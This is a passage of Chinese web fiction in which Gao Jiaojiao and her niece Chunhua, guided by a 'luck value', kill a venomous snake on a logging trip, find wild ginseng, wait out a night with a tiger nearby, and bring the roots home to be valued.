自打狗子哥受伤后,姑姑就没进来探望过几回,每次也只是问几句就走了。 她居然还嫌狗子哥过于看重姑姑,对姑姑心生不满。 她真是太不应该了。 张狗子也没想到高娇娇会给高春花这么贵重的首饰,高家大大小小的姑娘好几个呢,她这个做姑姑的,能给每个侄女一件首饰当添妆就不错了。 可她硬是给了高春花一副头面,春花是老大,给了这么多,下面那几个小的,也不好太差。 高娇娇真是疼侄女,舍得为她们花钱。 不过高娇娇对于自己人一向都很大方,连他这个后来加入的,也得了她不少照顾。 却从没想从他身上得到什么回报,自从知道他的身世后,大家对他跟之前多多少少都有些不一样了。 高娇娇也跟他疏远了一些,但张狗子能感觉得到,高娇娇的疏远跟旁人不同,不是因为他的出身,而是因为他跟春花订了亲。 高娇娇并不赞成他们的婚事,却也拿出了最大的诚意祝福他们。 这让张狗子不禁有些感动,忍不住再一次劝高春花道, “我身子已经好的差不多了,你不用整天守着我,看看家里有什么需要帮忙的,也帮着做一点。” 第二百五十七章 这么高的幸运值 高春花闷闷应了声,心里有说不出的委屈。 倒不是不想干活,而是按照村里的习俗,她订了亲,就该在家里为自己做鞋做衣服准备嫁妆。 可娘说她跟狗子哥在村里成亲只是走个过场,等狗子哥认祖归宗后,侯府肯定会再给他们办一场。 所以娘只打算给她准备一套新房要用的红被褥,再陪嫁两件银首饰,剩下喜服喜被喜帐,柜子什么的,都不打算给她准备了。 对此,高春花很是不满,这可是她的婚姻大事,即便将来侯府还要重办,也不能这么凑合啊。 等成亲的时候,弄的那么寒酸,让大家怎么看,狗子哥怎么想? 一个连娘家都不珍重的女子,怎么能获得夫家的看重呢? 可她不敢跟爹抱怨,更不敢去找爷奶帮忙,因是她执意要嫁给狗子哥,才闹的分了家,她实在没脸再因为成亲的事去麻烦他们。 只能自己想办法,让自己成亲那天别太过于寒酸。 高春花知道狗子哥说这话是好意,没有嫌她偷懒的意思,但她还是免不了心中委屈。 她心中的苦涩艰难不敢跟他说,她不想被人知道,她是个连亲娘都不疼爱的姑娘。 她觉得很丢脸。 次日一早,高娇娇在进山的队伍里见到高春花,很是意外。 再一听,今天幸运值八十二,顿时觉得合情合理了。 这么高的幸运值,即便再恋爱脑也忍不住啊。 高二壮见人到齐了,招呼众人最后检查一遍要带的东西,就准备出发了。 山路崎岖,密林遍布,牲口进不去,所有木材只能靠人力往外运。 所以锯子、斧头、砍刀、麻绳,是必须要带的,还要带水带干粮,带盐,带生火的东西,避雨的东西,晚上在野外过夜要用到的所有东西,都要带齐全。 检查完,确定一切准备就绪后,众人便出发进山去。 这次进山跟上次捡蘑菇不同,是往真正深山老林里去。 尤其是之前砍的树所在的那片林子,要翻过两个山头,一来一去要大半天,路远还不好走。 这次除了石楼村巡逻队的人,还有几个双水村的人,和新加入的常铁柱几人。 常铁柱忍了又忍,还是没忍住,小声问高二壮, “这里的山都是村里的啊,只要是咱们村的人,都能进来随便砍树?” 高二壮被问的傻了眼,不解道, “不是,山不都是随便可以进的吗?树不也都是随便砍的吗?” 这下轮到常铁柱震惊了,眼睛瞪的跟铜铃一样, “你们这里的山竟然是无主的?衙门不管吗?地主不占吗?” 高二壮等人都被问懵了,双方鸡对鸭讲一通说后,才大概知道症结所在。 原来在常铁柱的老家,每个人只能分到一亩左右的地,大片肥沃的田地不是被地主老爷们占了,就是被衙门的官员占了。 留给穷苦百姓的只有边边角角,地太少,人活不下去,衙门就把荒山分了下去。 常铁柱家就有一座山,山上种了很多树,他们还在树上做了标记。 附近的村民进山捡柴,捡蘑菇,挖草药什么的,他们也是不管的,主要管也管不住。 但是有主的树是不能随便乱砍的,要是不小心砍了地主老爷家的树,就得加倍赔偿。 要是倒霉催砍倒了衙门官老爷的树,不仅要赔钱,还要被抓去打板子。 常铁柱的话听的众人都沉默了,高二壮很是同情地拍了拍常铁柱肩膀。 难怪他们在老家待不下去,连荒山都得花钱买的地方,再怎么辛苦劳作也是白搭。 然后又忍不住庆幸他们的运气,分到了那么多田地不说,后头这连绵起伏的山里还有这么多好东西。 在石楼村,只要好好干,就一定能过上好日子。 望山跑死马,高娇娇感觉都已经走了很久了,一问高二壮,还不到一半路程呢。 高娇娇不由开始担心了,这么远,单靠人力把木材运出来,真的能行? 可已经走到这儿了,行不行都得继续往前。 又走了一个多时辰,终于看到了那片树林,遮天蔽日,郁郁葱葱。 走进林子,光线一下子暗了下来,浑身的燥热被风一吹,消散了不少。 高娇娇见高春花左顾右盼,都不看路了,只顾着找目标位置,忙一把拉住她沉声提醒道, “仔细看路,在这里头走散了,可没人能找得到你。 万一遇到野兽什么的,可是会没命的。” 高春花这才想到山里的危险,顿时不敢再只顾着找目标位置,老老实实跟在高娇娇身后。 高二壮也大声提醒众人, “大家都惊醒点,山里野兽多,都跟紧了,别走散。” 一行人在密林中又走了大概半个时辰,终于到了高二壮他们砍倒树的地方。 见地上横七竖八躺着十来根又粗又直又长的大树,常铁柱等人都高兴坏了,连忙扑上去左看看右看看,爱不释手。 这么好的木料,要是花钱买,可得不少银子呢。 高娇娇拿着工具跟着高二壮等人去砍树,要建的房子多,地上这些还不够。 四处找寻了一圈,在能做木梁的树上做好标记,众人停下来,坐在之前砍倒的树干上休息。 喝水吃东西,商量一下怎么伐木。 伐木是个技术活,不能光用蛮力把树砍倒就行了,这可都是一人合抱高达数十丈的大树,一个没弄好,把人砸死都是常有的事。 更何况他们要砍伐的树有二十棵,不提前计划好,一会儿砍着砍着,有的树倒的方向不对,就把路给堵了。 吃饱喝足休息好了,高娇娇起身走到高二壮跟前, “二哥,咱俩砍一棵。” “行,让他们力气小的用锯子。” 高二壮深知自家妹子的力气,爽快应下。 兄妹俩便去了最难砍的那棵树旁,一人一边,你一斧头我一斧头地砍了起来。 其他人也跟着开始砍树,力气大的用斧头,力气小的用锯子。 斧头主要看准头,每一次砍下去都要瞄准位置,才能把手上的力气变为砍下去的深度。 锯子主要靠配合,俩人得找好合适位置,你一下我一下互相配合着用力,才能找到平衡,快速将树干锯断。 寂静的林子里不断响起砰砰砰的砍树声,和嗤嗤嗤的拉锯声,吵的被他们的突然到来惊的飞上枝头的鸟儿受不了,一拍翅膀飞走了。 高春花拎着斧头砍掉地上树干的旁枝错节,这样等会儿往外运的时候会容易一些。 一边砍,一边把砍下来的树枝拖到一旁堆放起来,顺便在四周查找着。 目标位置就在这附近,可无论她怎么看,也没看到什么特别的东西。 林子里的腐烂枝叶太厚了,一脚踩上去都软绵绵的,不扒开根本看不到下面有什么。 高春花只能趁没人注意的时候,偷偷用树枝翻了翻,却什么也没找到,让她不禁有些发愁。 八十二的幸运值呢,她还从没有过这么高的时候,怎么就找不到呢? 第二百五十八章 真不好找 高娇娇力气大,准头好,一斧头下去就能砍进去很深。 高二壮这头才砍了不到三分之一,高娇娇那头已经快砍到中间了,再砍只怕就要往她这边倒了。 高娇娇忙冲高二壮道, “二哥,别砍了,你往边上让让,我试试看能不能一脚踹断。” 高二壮将斧头一收,快速让到一旁,并大声提醒周围众人, “我们这棵树要倒了,都让让,让让!” 众人赶忙挪动位置,离的最近的常铁柱两人干脆先跑开。 高娇娇见大家都让开了,气沉丹田,脚下用力,抬脚猛地一踹。 “咔嚓!” “轰——” 大树像一把巨大的笔直的剑,轰地一声倒了下去。 树干上的枝丫在密林中劈出了一条路,咔嚓咔嚓的折断声不断响起,众人不禁欢呼起来。 常铁柱等几个后来的,呆愣愣跟着众人鼓掌,却叫不出好来。 他们都惊的发不出声,若不是亲眼所见,他们做梦也想不到这样一个看着娇娇小小的姑娘,居然会有这么大的力气。 但震惊之余,更多的还是安心。 乱世荒年,村里有这样厉害的人,对所有人来说都是好事。 加入石楼村,大概是他们这辈子做的最对的选择。 顺利砍倒第一棵,高娇娇和高二壮便接着砍第二棵。 把刚砍到一半就手臂酸疼的吴亮羡慕的不行,高家人力气都大,骨头也比旁人硬。 这么哐哐砍树都不会震的手臂痛,难怪能一刀把土匪劈成两半,人的骨头可比树干硬。 一连砍了三棵树,高娇娇觉得手有点酸了,便跟高二壮说了声,去旁边歇歇。 高二壮暗暗松了口气,他在砍第二棵树时胳膊就有点酸了,但小妹不喊停,他做哥哥的怎么好意思喊。 哥哥也是要面子的啊。 高二壮要是知道高娇娇之所以喊停,不是因为手酸累了,而是被高春花急躁的情绪影响,想去帮忙寻宝,只怕要郁闷了。 当哥哥的自尊心,在大力士妹妹的碾压下,实在是碎的糊都糊不起来。 高娇娇坐在树干上喝了几口水,等身上的汗落了,走到还在用树枝扒拉腐叶的高春花身旁,故作随意问道, “这儿有蘑菇吗?我看这里松树也挺多的,地上也挺湿润的,保不齐会有松茸也不一定。” 高春花忙点头道, “我觉得也是,就是怎么找都找不到。” “蘑菇一般都长在背阴的地方,要不,咱们往那边走走?” 高娇娇假模假样看了看天,顺着高春花的心声,给她找了个借口扩大搜寻范围。 高春花只觉得瞌睡了送枕头,忙不迭点头。 两人往外圈找了一通,依然一无所获,别说值钱的宝贝,就连最常见的松蘑也没找到一朵。 高春花很是郁闷,目标位置就在这块儿,可怎么找也找不到是怎么回事? 高娇娇仰头看天,被层层叠叠的枝叶遮挡,只能透过来零星的阳光。 低头看地,地上黑漆漆,全是烂叶枯枝。 再看向四周,差不多都是同样的景色,除了树还是树,没什么特别的。 八十二的幸运值,真不好找啊。 高娇娇打算回去先把树砍完了再回来找,兴许时辰不对,光线不对,所以才找不到。 可刚一扭头,就看到旁边垂落下来的树枝动了动。 高娇娇不由眨了下眼睛,怀疑自己一直盯着找的太久,有点眼花了。 那个树枝是长得有点奇怪,但灰黑的表皮,干巴巴,还带着皴裂的纹路,一看就是枯死的干枝啊。 但盯着那个东西看的时候,她莫名心里发紧,甚至胳膊上都起了鸡皮疙瘩。 这种本能的反应让她觉得那个树枝不对劲,就在高娇娇走近,试图拿起斧头砍一刀试试的瞬间。 看着像是树枝的东西动了,如一道闪电疾射而出,直冲高娇娇的面门。 “春花,趴下!” 高娇娇迅速下蹲,同时大喊。 高春花不明所以,但还是本能听从高娇娇的命令,立刻趴下。 “树枝”擦着高娇娇头顶飞过,落到另一棵树的枝干上,一端勾住树干,缠了上去。 高娇娇终于看清了这东西是什么,居然是一条蛇,一条很像干枯树枝的奇怪的灰黑色细长蛇。 看到高高抬起的蛇头呈三角状,蛇信子还嘶嘶地吐个不停。 高娇娇头皮都要炸了,这玩意儿铁定有毒,而且很可能是剧毒。 “二哥,二哥,我们遇到毒蛇了!” 握紧手中斧头,眼睛死死盯着蛇,高娇娇僵着脖子喊道。 高二壮听到高娇娇的喊声,吓了一跳,立刻就要跑过去。 吴亮急忙拽住他,指了指他们的背篓。 背篓里有高长天用独门秘方配制的雄黄粉,对驱逐毒虫蛇蚁很有效。 高二壮翻找出雄黄粉,拿起弓箭和大刀,带着吴亮几个猎户,飞快朝高娇娇所在的地方跑去。 高娇娇还在跟小蛇对峙,一人一蛇都死死盯着对方,一动不动。 高春花趴在地上,虽然看不到现在的情形,但是从姑姑充满防备的站姿,还有她紧握着斧头骨节发白的手,都能看出她的紧绷。 能让姑姑都这般紧张的毒蛇,肯定十分厉害,高春花不由很是害怕。 她见过被毒蛇咬伤的小孩,那时候她也还是个小孩,跟一群小孩在后山挖野菜的时候,有个小孩突然叫了一声,然后就捂着腿大哭了起来。 等大人赶来的时候,那个小孩被咬伤的右腿已经红肿发黑了。 大人们又是放血又是敷解毒药,也没能把那个小孩救回来。 她听小伙伴们说,那个小孩死的时候整张脸都发黑,右腿肿的有两个大,可吓人了。 高春花不想死,更不想死的那么吓人。 可她打不过毒蛇,更跑不过毒蛇,只能尽量保持一动不动,希望毒蛇不要注意到她。 高二壮等人急促的脚步声,让蛇变得焦急了起来,它主动发起攻击,猛地朝高娇娇露出来的脖子咬去。 不等蛇靠近,高娇娇就挥出了斧头。 却不是对准蛇头,而是朝向自己最容易被攻击的正前方位置,朝空气劈去。 她挥动的速度非常快,快的几乎都能看到残影,为自己竖起了一道无形的屏障。 让想借着自己身形以速度优势抢先攻击的蛇,不得不退了回去。 就在蛇缩回身子的瞬间,高娇娇突然抛出了快速挥舞的斧头。 斧头像一块板砖一样朝着蛇身砸了过去,带着泰山压顶的气势。 蛇感觉到了死亡的威胁,拼命缠紧树干,迅速回撤。 可它再快,也快不过早有准备的高娇娇。 就在抛出斧头的瞬间,高娇娇从怀里摸出了防身的匕首,当作飞镖,射向蛇卷在树干上的蛇尾。 斧头没有砸到蛇,但是匕首扎进了蛇尾,将蛇钉在了树干上。 剧烈的疼痛,和即将被抓住的恐惧,让蛇不顾一切拼命挣扎了起来。 它愤怒地喷出毒液,无差别的朝四处喷射,带着玉石俱焚的疯狂,将高娇娇和周围的一切包围。 高娇娇射出匕首就没再去看蛇,而是就地一滚抓住高春花就往后撤。 她在出手时已经想好了,如果这两招还干不掉毒蛇,二哥他们还没赶到,那她和高春花就只剩一条路可走了。 那就是跑,拼命跑,玩命跑,能跑多远跑多远,能跑多快跑多快。 至于能不能活下来,那就看命了。 还好,她的运气不错,命也够硬。 毒蛇被射中,毒液被她躲开了,二哥他们也赶来了。 第二百五十九章 人参 不过看到毒液落在地上,发出滋滋的声响,瞬间将枯枝烂叶腐蚀了一层,高娇娇心里也是后怕的很。 高春花已经被吓的腿都软了,要不是被高娇娇拽着,只怕就要跌坐在地上起不来了。 高二壮等人看清毒蛇的模样后,也是吓的倒吸了口凉气。 一刀砍掉蛇头,剁成碎渣,高二壮才扶起高春花,关切询问高娇娇, “小妹,受伤了没?” “没。” 高娇娇把高春花塞给高二壮,凑过去看吴亮他们剜蛇胆。 吴亮熟稔地剜出蛇胆,对高娇娇道, “这是铁头蛇,剧毒,被咬一口要不了一刻钟就没命了。 我们在山里遇到了都是赶紧撒雄黄粉避开,尽量不对上。 这玩意儿快蜕皮的时候跟枯树枝没两样,身量细长行动飞快,难杀的很。 你也真是厉害,居然用一把匕首就把它给钉在了树上。” 高娇娇摆手道, “运气好罢了,我也没想到能钉住。” 这话可不是谦虚,高娇娇是真心觉得自己命大运气好,射出匕首的时候,她根本没把握一定能刺中,只想着多争取几秒逃跑时间。 不过这蛇头被二哥砍的也太碎了,要不然还能拿回去给爹他们泡个药酒什么的。 听说越是毒性大的东西,泡出来的药酒药效越强。 见高娇娇用匕首拨弄蛇头,一脸惋惜,吴亮便替高二壮解释道, “这种毒蛇头掉了还能活一阵儿,你二哥也是怕它再喷毒,就干脆把它给剁碎了。” 高娇娇点头受教,正准备收起匕首,突然看到一块被毒液腐蚀的破烂树叶下头,似乎有个红点点。 她忙将那块的树叶拨开,看到下面探出来几片绿色的草叶子,叶子中间有几颗小小的红红的果子,不由愣住。 正抚着心口试图让自己恢复力气,别再这么丢脸的手脚发软的高春花,突然听到高娇娇的笑声,不由一愣。 高二壮等人也被高娇娇突然发笑给弄的心里发毛,还不等高二壮问,就见高娇娇笑着冲他招手, “二哥,快来,我发现宝贝了。” “啥宝贝?” 高二壮立刻走了过去,到跟前一看,差点惊掉下巴, “人,人参?!” 听到“人参”二字,众人顿时激动万分。 这种宝贝绝大多数人只在传闻中听说过,根本没机会亲眼见一见。 没想到出来砍树,居然能遇到人参,这得是多大的运道啊! 在众人灼热的注视中,唯二有过挖丹参经验的高二壮和吴亮,小心翼翼用高春花贡献的红头绳,将人参上端绑住。 然后再用木头片继续挖,挖到靠近根部的位置,就用手一点点扣。 人参露出土的部分只有一点点,下面的根须很多,扎的很深,稍不小心,就会把根须弄断。 高娇娇弯着腰看了一会儿就有点不耐烦了,这么挖看着真急人,她都恨不得一刀把这些根须都给它削断。 高春花心里也急得很,她不知道该怎么办了。 宝贝让姑姑先发现了,等二叔他们挖出来了,算谁的? 她还指着发笔横财给自己准备点嫁妆呢,结果弄成了现在这样。 听到高春花的心声,高娇娇皱了皱眉。 嫁妆不是大嫂在准备吗? 春花怎么还能愁成这样? 等一下,幸运值还有五十三,这么重要的事你怎么不提? 高娇娇都想撬开高春花的脑袋,把她纠结的那些乱七八糟都扔出去,给她脑门上刻上几个大字: 搞钱最重要! 有外挂还愁搞不到钱,真不知道她这脑子一天都在想啥。 高娇娇懒得再琢磨高春花脑子的运转逻辑,直接冲她道, “人参是不是跟蘑菇一样也是一长一窝啊? 咱们去周围再找找,说不定还有呢。” 高春花这才想起自己的幸运值还有很多,忙点头同意。 两人跟翻地毯一样在周围翻找起来,高二壮等人都只顾着挖人参,顾不上理会她们。 翻着翻着,还真翻出来东西了。 高娇娇眼睛亮晶晶数着, “一棵,两棵,三棵!” 高春花激动的手都在颤抖,发了,她们发了! 高娇娇用木棍扒拉着人参数叶片,她忘了在哪儿听说,人参上的叶片就代表它的年份,叶片越多年份越老。 找出叶片最多的那棵,高娇娇伸手就要拔,把高春花吓了一跳,急忙要去制止。 却听到高娇娇压低声音对她道, “这棵单独给你当嫁妆,你别跟人说啊。” 高春花愣了愣,收回了伸出去的手。 高娇娇大刀阔斧,直接用匕首沿着那株人参的一圈划了个圆,然后一用力,就把那棵人参整个拔了出来。 二指粗,根须很多,但都断了。 高娇娇跟甩萝卜一样甩掉上头的泥,就塞给了高春花。 高春花手忙脚乱接过塞到自己的挎包里,心里像是揣了个小兔子,突突跳个不停。 听了下高春花的心声,幸运值已经清零了。 高娇娇这才冲高二壮他们喊道, “这边还有两棵,快过来!” 高二壮简直不敢相信自己的眼睛,吴亮等人也半晌说不出话来。 还是常铁柱打破了沉默,惊叹道, “我的那个老天爷啊,你们上辈子是攒了多少福报,居然连人参窝都能找到! 听说那些采药的一辈子都不一定能碰到一棵人参,你们随便找找就能找到这么多,说出去谁敢信啊? 连唱戏都不敢这么唱吧,你们的运气实在是太好了。” 高娇娇敏锐发现常铁柱说完这话,众人看向她的眼睛都亮了起来。 不想被当成吉祥物,更不想暴露高春花秘密的高娇娇,立刻大声道, “这都是山神保佑,知道咱们日子过的不容易,专门给咱们送钱来了。” 高二壮被朱钰提点了那么多次,现在考虑问题也不想以前那么简单了,意识到妹妹不想揽下找到人参的功劳,忙配合着道, “朱叔说多行好事运道自然就会好,今天咱们能发现人参,是咱们村帮扶邻村收留难民的福报,是山神给咱们的回馈。” 这个说法显然比高娇娇一人好运,更容易被大家接受。 于是,众人便在高二壮的带领下,叩谢了山神,又拿出一些干粮祭拜了一番,这才开始挖人参。 有人发现人参旁的泥土有松动,嚷嚷了起来。 高春花不由很是紧张,生怕被人发现她们提前拔走了一棵人参。 对此,高娇娇早有准备,指着不远处的一棵草道, “我以为那棵是草药,拔出来一看不是,就扔了。 结果没想到,旁边居然长着人参。” 没人怀疑,毕竟有理有据。 高春花暗暗松了口气,偷偷摸了摸背包里的人参,觉得姑姑真是个大好人。 被发好人牌的高娇娇嘴角抽了抽,决定回去路上找机会问问高春花,再有一个多月就要成亲了,怎么会连嫁妆都没准备? 难不成是刘小翠又要做什么妖? 因为挖到了人参,大家都高兴的很,一直忙到深夜,干劲十足地砍完了要砍的树,这才坐下来歇息。 众人围着火堆,吃着东西,说着明日的安排。 明天最重要的任务,是把已经阴干的木材运出去,单纯靠人力搬运很费劲,最好的办法还是利用地形。 上坡处靠人力拖拽,下坡处利用地形,让木料顺着山坡滑下去。 想在拖拽时省力,就要在捆绑时下功夫,怎么捆,绑那头,滑的时候那头朝下才能更顺畅,这些都要提前商量好。 高娇娇听着听着就有点犯困起来,她对于挖到人参一事没有众人那么兴奋,加上一贯睡得早,便忍不住哈欠连天。 高二壮心疼妹妹,忙指着用枯枝干草铺好的床铺冲她道, “小妹,困了就去睡,晚上二哥值夜,你别担心,好好睡啊。” “嗯,二哥你们小心点。” 高娇娇应了声,就迷迷糊糊往床铺上一倒睡了过去。 高二壮见状,不由摇头叹息着拿出羊皮袄给她盖上。 虽说现在天不冷了,但夜里山里还是有点凉,妹妹是个姑娘,身子娇弱,不能着凉。 高春花也想跟高娇娇那样倒头就睡,可她一点睡意都没有,只要一想到挎包里的人参,就忍不住激动。 她包里的人参是最大最粗的,肯定能值不少钱,等把人参卖了,她想买什么就买什么,再也不用问娘要钱了。 正暗自开心,忽然听到一声奇怪的声响,像是鸟叫,但比一般鸟叫难听的多。 还不等高春花分辨出那是什么声响,就见围坐在火堆旁的高二壮和吴亮几个猎户,忽地就站了起来。 紧接着,原本睡的很沉的高娇娇也一个翻身爬了起来。 第二百六十章 大家的主心骨 “二哥?” 高娇娇刚睡醒,眼睛还没聚焦,被火光照着,一时看不清哪个是高二壮。 “我在这儿,小妹别怕,是夜枭。” 高二壮忙应了声,走到高娇娇身旁。 高娇娇抓住高二壮的胳膊,压低声音道, “我心里毛毛的,二哥,咱们只怕要遇上大麻烦了。” 高娇娇并不是被叫声吵醒的,她是被后背突然涌上的一股寒意给冻醒的,现在汗毛还都立着呢。 高二壮知道妹妹的预感很灵验,逃荒路上已经验证了很多次了,立刻转身提醒众人拿起武器,并亲自带吴亮几人去四周查看情况。 可还不等他们查看清楚,就听到远处传来一声震颤山林的虎啸。 高娇娇等人也听到了,夜晚尤其是深夜的山林并不安静,虫鸣鸟叫各种野兽的吼声不绝于耳。 但是在虎啸声传来的瞬间,所有声音都消失了。 就好像一下子被摁下了暂停键,四周变得异常安静。 安静的人心里发毛,头皮发麻。 高二壮的心一下子慌了,之前爹带队进山猎狼那次,他们也遇到了老虎。 他看的很清楚,那是一头成年山虎,脑袋比洗脸盆还大一圈,血盆大口能把人的头整个吞下。 当时他们急着追逐狼群,就没顾上理会那只老虎。 后来爹因为怕村子四周还有藏着的落单野狼,想打了那头老虎,用老虎毛做防身的香囊给村里人用。 哪知老虎跑了个无影无踪,狼也没再出现。 他们估摸可能是官道上涌入了大量流民,把山里的野兽都给吸引走了。 野兽也是欺软怕硬的,见他们不好惹,就躲远些,去欺负好欺负的流民也正常。 可谁能想到,老虎现在出现了。 他们一共只有三十个人,猎户只有五人,随身携带的弓箭五把,大刀十二把,除了麻绳和雄黄粉,其它打猎的工具一个也没带。 根本打不过那头凶猛无比的老虎,要不,还是趁着老虎没找过来之前,赶紧跑吧? 吴亮等人犹豫不决,指望他们几个肯定打不过老虎,可现在跑,好像也挺危险的。 高娇娇见高二壮几个纠结苦恼,好一会儿也商量不出个结果,沉声道, “我不赞成现在逃跑,一是天黑又在密林之中,不容易辨别方向,容易迷路。 二是老虎只是叫了一声,不代表发现了咱们。 即便有所察觉,应该也只是警告,而不是要袭击咱们。 要不,完全可以趁着天黑突袭,这对老虎老说不是难事。” 高二壮等人觉得高娇娇这话不无道理,但是继续留在这里,是不是太冒险了? 毕竟那可是老虎啊! 高娇娇提议道, “要不,咱们在周围做点陷阱,万一老虎过来,也能有个抵挡。 再利用这些砍倒的树,挖个藏匿的地方,实在跑不了,咱们也能躲在坑里放冷箭,杀老虎一个措手不及。” 众人觉得这个办法可以一试,于是便迅速忙碌了起来。 高娇娇跟着搬搬抬抬,顺便再给出点馊主意。 比如把剁碎的蛇头涂抹在陷阱四周,把毒蘑菇捣碎了涂抹到藏匿的树干后头,再扣点黏糊糊的树胶往树干上黏一层尖利的荆棘刺....... 看的高二壮嘴角抽抽,都忍不住有点同情老虎了。 遇上他妹妹,算老虎倒霉。 一番布置过后,众人回到火堆旁,继续围坐在一起休息。 却没了之前的谈笑风声,个个沉默不语,气氛很是凝重。 高娇娇觉着这样下去,老虎还没来,他们就先撑不住了。 人的神经就跟弹簧一样,过度紧绷,只会失控。 她记得爹说过,在野外碰到野兽,最重要的是不能怂。 野兽都是欺软怕硬的,你越怕,它越凶,你越横,它反倒不敢轻举妄动。 想了想,高娇娇主动挑起了话头,说起了人参。 现在药材涨价涨的那么厉害,人参肯定也要涨价吧,她以前也没卖过人参,也不会分辨人参的年份,不知道今天挖到的人参能卖多少钱。 一说起这个,众人就来了精神,尤其是高二壮几个猎户。 这个拿出人参教高娇娇如何分辨人参的年份,那个说起当年进城卖丹参时的见闻。 不光高娇娇听得津津有味,常铁柱他们也听得入了神。 高春花看着不住点头,笑意盈盈的姑姑,隔一会儿,她就迅速扫视一下四周。 那眼神锐利的仿佛能穿过重重密林,看透藏匿在黑夜中的一切危险。 可转过头,她又变成了笑意盈盈没心没肺的样子,时不时问两句,引得大家说个没完,好似连老虎都被抛到了一边。 那样子,像极了爷爷,也像总是笑眯眯就能把控一切的朱爷爷。 看着这样的高娇娇,高春花终于明白了狗子哥为啥会对她这么看重。 这一刻,姑姑就像是大家的主心骨,有她在,大家才不会慌乱害怕,不知所措。 天亮了,火堆熄灭了,老虎没来,平安无事。 高娇娇和高二壮对视一眼,脸上都露出了轻松的笑意。 老虎俗称大猫,虽是野兽也遵从着猫的习性,白天很少出来觅食,大都在山洞或者树上懒洋洋打瞌睡。 只要他们不是倒霉透顶,应该不会碰到老虎了。 但为了以防万一,简单吃过早饭后,高二壮还是立刻招呼众人开始运送木料出山。 用绳子将木头一端固定好,跟挑东西一样将粗木棍穿进绳套,然后一人一边,将木头挑起来拖着往外走。 一组走出去,下一组跟上,最后高娇娇自己拖一根木头,身旁跟着的高春花,背着一背篓斧头等工具。 早上出发,等回到村子时已经是傍晚了。 就这,还是高娇娇他们紧赶紧,中午只歇了半个时辰,才赶在天黑前回到村。 主要是怀里揣着人参,心里慌的很,不把这宝贝赶紧交到高长天和朱钰手里,谁心里都不踏实,不敢再在野外过夜。 高长天他们都在村口等着呢,见高娇娇等人回来了,忙迎了上来。 帮着把木料堆放在工地上,高二壮拍了拍身上的土,就迫不及待想告诉高长天他们挖到了宝贝。 高娇娇拽住高二壮的胳膊,冲他微微摇了摇头,连声嚷道, “娘,有饭没?我快饿死了!” “有有有,早就做好了,都快进院子,洗手吃饭。” 姚春香赶忙招呼众人去她家院子里,盆子里已经打了干净了水,旁边还放了几条干净布巾,还有高娇娇从城里买回来的香胰子。 高娇娇和高春花用一盆水,另外一盆水男人们轮换着洗。 等洗干净手和脸,姚春香也已经带人打好了饭。 一人一大碗白花花的大米饭,上头浇着干蘑菇肉末炖粉条,桌上还放了一大盆凉拌野菜,一大碗炒咸菜丝,还有一大罐绿豆汤。 高娇娇接过姚春香递过来的饭,埋头就往嘴里扒。 她是真饿了,从昨天到现在,吃的都是干饼子就咸菜肉干。 虽说也能吃饱,但是干的活太耗体力,肚里没油水,饿的她心慌。 姚春香见闺女抱着饭碗吃的头也不抬,不由很是心疼,没忍住,瞪了高长天一眼。 死老头子非说要让闺女历练,以后才能接他的班,保住家园平安。 家里又不是没男人了,闺女上头还有三个哥哥呢,怎地就非得干这种吃力不讨好的活? 高长天讪讪地摸了摸鼻子,借着给朱钰递绿豆汤,避开了姚春香的视线。 朱钰好笑地看着高长天,大哥天不怕地不怕,就怕嫂子冲他瞪眼。 高长天看到朱钰眼中的戏谑,没好气白了他一眼。 说到底,还不是怨二弟,天天跟他说娇娇是个干大事的,别把她当小姑娘宠着惯着,那是害了她。 要不他哪儿舍得让宝贝闺女受这苦啊,他巴不得闺女天天舒舒服服吃香喝辣呢。 朱钰忙低头喝汤,生恐城门失火殃及池鱼。 吃饱喝足,高娇娇才凑到高长天和朱钰跟前小声道: “爹,朱叔,我们在山里挖到了人参,三棵。” 第二百六十一章 不能太贪心 “咳咳咳.......” 正在喝汤的高长天惊地呛住了,咳的惊天动地。 朱钰顾不上追问,忙给他拍背。 高长天摆了摆手,自己努力顺好了气,看向高娇娇。 高娇娇有点嫌弃道, “爹,才多大点事儿啊,你至于吗?” 高长天刚顺好的气,差点又被呛回去。 这丫头,那可是人参,人参啊! 朱钰瞪了高娇娇一眼,示意她说正事。 高娇娇小声道, “人参是春花和我发现的,大家一起挖的,怎么分,你们得拿个主意。 还有就是,我们在山里还听到虎啸了,二哥说应该是那头老虎又回来了。” “咳咳咳......” 高长天又被惊到了,忍不住咳了起来。 朱钰无奈叹气,这丫头,就不能一次把话说完,非得把他跟大哥吓够呛不可。 天色彻底暗了下来,屋里点了油灯。 豆大的火苗一跳一跳,照的屋里明暗不定,就像众人此刻的心情。 在众人的注视下,高二壮小心翼翼打开用布包裹着的人参。 为了保持新鲜,确保完整,人参的根须上还带着挖出来时带出来的泥土,还有一些苔藓。 抖落泥土和苔藓,高二壮将人参一棵棵并排摆放在桌上。 朱钰拿起那棵根须最完整,根茎最粗壮的人参看了看。 数了数年轮,看了看芦头,再看看叶片和表皮,朱钰捋了捋胡须, “三十年参,好东西啊!” “才三十年,我还以为是百年人参呢。” 高娇娇有点失望,高二壮等人不失望,他们只关心三十年参能值多少钱。 朱钰敲了高娇娇脑袋一下,嗔怪骂道, “贪心!百年人参岂是寻常人能遇上的?” “百年老参都成精了,只会长在深山老林不见人的地方,不会长在你们砍树的那种林子里。” 高长天也道,好笑地摸了摸高娇娇的头,他闺女可真敢想。 百年人参那种天材地宝,可不是普通人能找到的。 高娇娇不服气,皱了皱鼻子道, “那这棵人参我们要是不挖,让它一直长在那儿,再过个几十年再去挖,不就是百年人参了?” “做梦呢你,你不挖,山里的野兔野鸡野山羊什么的还能不吃了?” 朱钰嘲笑高娇娇的天真,顺便敲打众人的贪念, “天材地宝虽好,也得有命拿,咱们普通人手里要是有百年老参,可不是什么好事。 从古至今,为了夺宝杀人害人的事,你们应该也听过不少吧? 所以为了全村的安危,这次挖到人参的事,还有挖到人参的具体位置,都不能往外说。 就算是自家人问也别说,告诉他们,就是害了他们。 万一有哪个脑子糊涂的,起了贪念自己跑进林子里去找人参,被老虎给吞了,怎么办?” 高娇娇十分配合做出一副害怕样子道, “那我可不敢跟人乱说了,万一谁出事了说是我害的,找我赔钱,要我偿命,我可赔不起。” 众人听她这么一说,都觉得泄密的后果承受不起,顿时熄了回去跟人显摆的心思。 三棵人参,一棵三十年,剩下两棵都是二十年。 以高长天的经验,和高娇娇之前去杏林堂买药的账单,三十年人参一棵大概能卖到上百两,二十年人参起码也在五十两往上。 这三棵人参保守估计最低也值二百两,高长天做主按二百两算,多出来的存入公中账上,用来修路开荒种药材,给雇工发工钱。 